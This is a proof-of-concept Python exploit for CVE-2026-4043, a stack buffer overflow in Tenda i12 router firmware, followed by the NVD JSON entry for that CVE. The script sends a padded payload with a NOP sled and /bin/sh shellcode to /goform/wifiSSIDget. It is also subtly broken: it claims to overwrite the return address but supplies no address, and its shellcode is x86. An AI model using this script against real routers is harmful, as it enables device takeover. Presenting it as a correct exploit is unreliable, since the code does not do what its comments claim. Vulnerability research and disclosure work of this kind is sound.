CVE-2026-4043

import requests # CVE-2026-4043 PoC - Tenda i12 Buffer Overflow # Target: Tenda i12 1.0.0.6(2204) # Vulnerability: Stack-based buffer overflow in /goform/wifiSSIDget target_ip = "192.168.0.1" target_port = 80 target_url = f"http://{target_ip}:{target_port}/goform/wifiSSIDget" # Construct malicious payload with oversized index parameter # This triggers stack buffer overflow by overwriting return address def construct_payload(): # Padding to fill the buffer padding = b"A" * 100 # Overwrite return address with NOP sled + shellcode nop_sled = b"\x90" * 20 # Simple shellcode for demonstration (executes /bin/sh) shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" return padding + nop_sled + shellcode def exploit(): payload = construct_payload() params = {"index": payload.decode('latin-1')} print(f"[*] Sending exploit to {target_url}") print(f"[*] Payload length: {len(payload)}") try: response = requests.get(target_url, params=params, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response length: {len(response.content)}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-4043", "sourceIdentifier": "[email protected]", "published": "2026-03-12T16:16:11.600", "lastModified": "2026-04-02T20:04:11.387", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in Tenda i12 1.0.0.6(2204). The impacted element is the function formwrlSSIDget of the file /goform/wifiSSIDget. Such manipulation of the argument index leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed publicly and may be used."}, {"lang": "es", "value": "Una vulnerabilidad de seguridad ha sido detectada en Tenda i12 1.0.0.6(2204). El elemento afectado es la función formwrlSSIDget del archivo /goform/wifiSSIDget. Dicha manipulación del argumento index conduce a un desbordamiento de búfer basado en pila. El ataque puede ser lanzado remotamente. El exploit ha sido divulgado públicamente y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:i12_firmware:1.0.0.6\\(2204\\):*:*:*:*:*:*:*", "matchCriteriaId": "294C4C09-FB11-4D03-9DD0-5CEDC115974E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:i12:-:*:*:*:*:*:*:*", "matchCriteriaId": "79D3B1CC-FB4E-40F3-B175-F70F5A44C447"}]}]}], "references": [{"url": "https://github.com/Jimi-Lab/cve/issues/3", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "Issue Tracking"]}, {"url": "https://vuldb.com/?ctiid.350655", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.350655", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.769464", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.tenda.com.cn/", "source": "[email protected]", "tags": ["Product"]}]}}